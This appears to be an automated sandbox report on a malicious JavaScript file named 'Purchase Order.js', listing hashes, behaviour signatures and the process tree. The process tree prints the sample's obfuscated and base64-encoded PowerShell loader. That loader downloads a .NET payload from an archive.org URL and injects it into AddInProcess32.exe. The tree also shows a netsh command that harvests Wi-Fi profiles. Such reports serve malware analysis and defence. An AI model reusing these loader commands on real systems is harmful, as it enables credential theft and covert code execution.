Analysis
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max time kernel
94s -
max time network
203s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
19-09-2024 06:49
Static task
static1
Behavioral task
behavioral1
Sample
Purchase Order.js
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Purchase Order.js
Resource
win10v2004-20240802-en
General
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Target
Purchase Order.js
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Size
602KB
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MD5
c23145032eb9417255ffe33e719afaf2
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SHA1
b0a2b6174179ef5d05489253802030b4fda20165
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SHA256
61f366924b6047fc1edf5494e19322990fcd3544641cdf26c63d893116a712ee
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SHA512
fcb72da665866518fac8a02081cda1fa988aa47c8dc4ec25fe18063637117c7c693de71a2914eefbb89431fcf964857e07fdfce5cb6bf8a5f4919951e8f9835e
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SSDEEP
12288:L0jCPxgfEU+BG/njP9Rc8AfSeh/xxvLmKiinJ/9xuaRZb7bIsDvZX9i4Mw61uBKW:nsbdc52Gz/SkD9
Malware Config
Extracted
https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt
https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt
Signatures
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Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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Blocklisted process makes network request 2 IoCs
flow pid Process 7 1212 powershell.exe 18 1212 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2836 powershell.exe 1212 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation wscript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 26 icanhazip.com 38 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1212 set thread context of 3596 1212 powershell.exe 89 -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language chcp.com Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language findstr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 1116 cmd.exe 4872 netsh.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 AddInProcess32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier AddInProcess32.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2836 powershell.exe 2836 powershell.exe 1212 powershell.exe 1212 powershell.exe 3596 AddInProcess32.exe 3596 AddInProcess32.exe 3596 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2836 powershell.exe Token: SeDebugPrivilege 1212 powershell.exe Token: SeDebugPrivilege 3596 AddInProcess32.exe Token: SeSecurityPrivilege 1412 msiexec.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 216 wrote to memory of 2836 216 wscript.exe 82 PID 216 wrote to memory of 2836 216 wscript.exe 82 PID 2836 wrote to memory of 1212 2836 powershell.exe 84 PID 2836 wrote to memory of 1212 2836 powershell.exe 84 PID 1212 wrote to memory of 3596 1212 powershell.exe 89 PID 1212 wrote to memory of 3596 1212 powershell.exe 89 PID 1212 wrote to memory of 3596 1212 powershell.exe 89 PID 1212 wrote to memory of 3596 1212 powershell.exe 89 PID 1212 wrote to memory of 3596 1212 powershell.exe 89 PID 1212 wrote to memory of 3596 1212 powershell.exe 89 PID 1212 wrote to memory of 3596 1212 powershell.exe 89 PID 1212 wrote to memory of 3596 1212 powershell.exe 89 PID 3596 wrote to memory of 1116 3596 AddInProcess32.exe 93 PID 3596 wrote to memory of 1116 3596 AddInProcess32.exe 93 PID 3596 wrote to memory of 1116 3596 AddInProcess32.exe 93 PID 1116 wrote to memory of 3944 1116 cmd.exe 96 PID 1116 wrote to memory of 3944 1116 cmd.exe 96 PID 1116 wrote to memory of 3944 1116 cmd.exe 96 PID 1116 wrote to memory of 4872 1116 cmd.exe 97 PID 1116 wrote to memory of 4872 1116 cmd.exe 97 PID 1116 wrote to memory of 4872 1116 cmd.exe 97 PID 1116 wrote to memory of 3380 1116 cmd.exe 98 PID 1116 wrote to memory of 3380 1116 cmd.exe 98 PID 1116 wrote to memory of 3380 1116 cmd.exe 98 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Purchase Order.js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:216 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAgACgAIAAkAHMAaABFAGwATABpAGQAWwAxAF0AKwAkAFMAaABlAGwATABpAEQAWwAxADMAXQArACcAWAAnACkAKAAoACgAJwB7ADEAfQB1ACcAKwAnAHIAJwArACcAbAAgAD0AIAB7ACcAKwAnADAAfQBoAHQAJwArACcAdAAnACsAJwBwACcAKwAnAHMAOgAvACcAKwAnAC8AJwArACcAaQBhACcAKwAnADkAMAA0ADYAMAAxAC4AdQBzACcAKwAnAC4AJwArACcAYQByAGMAaAAnACsAJwBpAHYAZQAuACcAKwAnAG8AcgBnAC8ANgAvAGkAdABlAG0AcwAvACcAKwAnAGQAZQB0ACcAKwAnAGEAaAAtAG4AbwB0AGUALQBqAC8ARABlAHQAYQBoAE4AbwAnACsAJwB0AGUASgAuAHQAeAB0AHsAMAAnACsAJwB9ADsAJwArACcAewAxAH0AYgBhAHMAZQA2ACcAKwAnADQAQwBvAG4AdABlAG4AdAAgAD0AJwArACcAIAAnACsAJwAoACcAKwAnAE4AZQB3AC0ATwBiAGoAJwArACcAZQBjAHQAJwArACcAIABTACcAKwAnAHkAcwB0ACcAKwAnAGUAbQAnACsAJwAuAE4AZQB0AC4AVwBlACcAKwAnAGIAJwArACcAQwAnACsAJwBsAGkAZQAnACsAJwBuACcAKwAnAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTACcAKwAnAHQAcgBpACcAKwAnAG4AJwArACcAZwAoAHsAMQB9AHUAcgBsACkAOwB7ADEAfQAnACsAJwBiAGkAbgBhAHIAeQBDAG8AJwArACcAbgB0ACcAKwAnAGUAJwArACcAbgB0ACAAPQAgAFsAUwB5AHMAJwArACcAdAAnACsAJwBlAG0ALgBDAG8AbgAnACsAJwB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgAnACsAJwBhACcAKwAnAHMAZQAnACsAJwA2ACcAKwAnADQAUwB0ACcAKwAnAHIAaQBuACcAKwAnAGcAKAB7ADEAfQAnACsAJwBiAGEAcwBlADYANAAnACsAJwBDACcAKwAnAG8AbgAnACsAJwB0ACcAKwAnAGUAbgB0ACkAOwB7ADEAfQBhAHMAcwAnACsAJwBlACcAKwAnAG0AYgBsACcAKwAnAHkAIAA9ACAAWwAnACsAJwBSACcAKwAnAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtACcAKwAnAGIAbAAnACsAJwB5AF0AJwArACcAOgAnACsAJwA6AEwAbwBhAGQAKAB7ADEAfQBiACcAKwAnAGkAbgAnACsAJwBhACcAKwAnAHIAeQBDAG8AbgB0AGUAJwArACcAbgAnACsAJwB0ACkAOwAnACsAJwB7ADEAfQB0AHkAcABlACAAPQAgAHsAMQAnACsAJwB9AGEAJwArACcAcwBzAGUAJwArACcAbQBiAGwAJwArACcAeQAuAEcAZQAnACsAJwB0ACcAKwAnAFQAeQAnACsAJwBwACcAKwAnAGUAJwArACcAKAB7ADAAfQAnACsAJwBSACcAKwAnAHUAbgBQAEUALgBIAG8AbQBlAHsAMAAnACsAJwB9ACkAOwB7ADEAJwArACcAfQBtAGUAdAAnACsAJwBoAG8AZAAnACsAJwAgAD0AIAB7ADEAfQB0AHkAcABlAC4AJwArACcARwBlAHQATQBlAHQAaABvAGQAJwArACcAKAB7ACcAKwAnADAAJwArACcAfQBWAEEAJwArACcASQB7ACcAKwAnADAAfQAnACsAJwApACcAKwAnADsAewAxAH0AbQBlAHQAaABvAGQALgBJACcAKwAnAG4AdgAnACsAJwBvACcAKwAnAGsAJwArACcAZQAoAHsAMQAnACsAJwB9ACcAKwAnAG4AdQAnACsAJwBsAGwALAAnACsAJwAgAFsAbwBiAGoAZQBjAHQAWwBdACcAKwAnAF0AQAAoAHsAMAB9AHQAeAAnACsAJwB0AC4AcwBvAGsAaQAvAHYAJwArACcAZQBkAC4AMgByAC4AMwA5AGIAJwArACcAMwA0ADUAMwAwADIAYQAwADcAJwArACcANQAnACsAJwBiADEAJwArACcAYgBjACcAKwAnADAAZAA0ADUAYgA2ADMAJwArACcAMgBlAGIAOQBlAGUANgAyACcAKwAnAC0AJwArACcAYgAnACsAJwB1AHAAJwArACcALwAnACsAJwAvADoAcwBwACcAKwAnAHQAdAAnACsAJwBoAHsAJwArACcAMAB9ACAAJwArACcALAAgAHsAMAB9AGQAZQBzACcAKwAnAGEAdAAnACsAJwBpAHYAYQAnACsAJwBkACcAKwAnAG8AewAnACsAJwAwAH0AIAAsACAAewAwACcAKwAnAH0AZABlAHMAYQB0AGkAJwArACcAdgBhACcAKwAnAGQAbwB7ADAAfQAgACwAIAB7ADAAfQBkACcAKwAnAGUAJwArACcAcwBhACcAKwAnAHQAJwArACcAaQB2AGEAZAAnACsAJwBvACcAKwAnAHsAJwArACcAMAB9ACwAJwArACcAewAnACsAJwAwACcAKwAnAH0AQQAnACsAJwBkAGQAJwArACcASQAnACsAJwBuAFAAJwArACcAcgAnACsAJwBvACcAKwAnAGMAZQAnACsAJwBzAHMAMwAnACsAJwAyACcAKwAnAHsAMAB9ACwAewAnACsAJwAwAH0AZAAnACsAJwBlACcAKwAnAHMAYQAnACsAJwB0AGkAdgBhACcAKwAnAGQAbwB7ACcAKwAnADAAfQAnACsAJwApACkAOwAnACkAIAAtAGYAIABbAGMASABhAHIAXQAzADkALABbAGMASABhAHIAXQAzADYAKQApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $shElLid[1]+$ShelLiD[13]+'X')((('{1}u'+'r'+'l = {'+'0}ht'+'t'+'p'+'s:/'+'/'+'ia'+'904601.us'+'.'+'arch'+'ive.'+'org/6/items/'+'det'+'ah-note-j/DetahNo'+'teJ.txt{0'+'};'+'{1}base6'+'4Content ='+' '+'('+'New-Obj'+'ect'+' S'+'yst'+'em'+'.Net.We'+'b'+'C'+'lie'+'n'+'t).DownloadS'+'tri'+'n'+'g({1}url);{1}'+'binaryCo'+'nt'+'e'+'nt = [Sys'+'t'+'em.Con'+'vert]::FromB'+'a'+'se'+'6'+'4St'+'rin'+'g({1}'+'base64'+'C'+'on'+'t'+'ent);{1}ass'+'e'+'mbl'+'y = ['+'R'+'eflection.Assem'+'bl'+'y]'+':'+':Load({1}b'+'in'+'a'+'ryConte'+'n'+'t);'+'{1}type = {1'+'}a'+'sse'+'mbl'+'y.Ge'+'t'+'Ty'+'p'+'e'+'({0}'+'R'+'unPE.Home{0'+'});{1'+'}met'+'hod'+' = {1}type.'+'GetMethod'+'({'+'0'+'}VA'+'I{'+'0}'+')'+';{1}method.I'+'nv'+'o'+'k'+'e({1'+'}'+'nu'+'ll,'+' [object[]'+']@({0}tx'+'t.soki/v'+'ed.2r.39b'+'345302a07'+'5'+'b1'+'bc'+'0d45b63'+'2eb9ee62'+'-'+'b'+'up'+'/'+'/:sp'+'tt'+'h{'+'0} '+', {0}des'+'at'+'iva'+'d'+'o{'+'0} , {0'+'}desati'+'va'+'do{0} , {0}d'+'e'+'sa'+'t'+'ivad'+'o'+'{'+'0},'+'{'+'0'+'}A'+'dd'+'I'+'nP'+'r'+'o'+'ce'+'ss3'+'2'+'{0},{'+'0}d'+'e'+'sa'+'tiva'+'do{'+'0}'+'));') -f [cHar]39,[cHar]36))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1212 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:3596 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All5⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\Windows\SysWOW64\chcp.comchcp 650016⤵
- System Location Discovery: System Language Discovery
PID:3944
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C:\Windows\SysWOW64\netsh.exenetsh wlan show profile6⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
PID:4872
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C:\Windows\SysWOW64\findstr.exefindstr All6⤵
- System Location Discovery: System Language Discovery
PID:3380
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1412
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82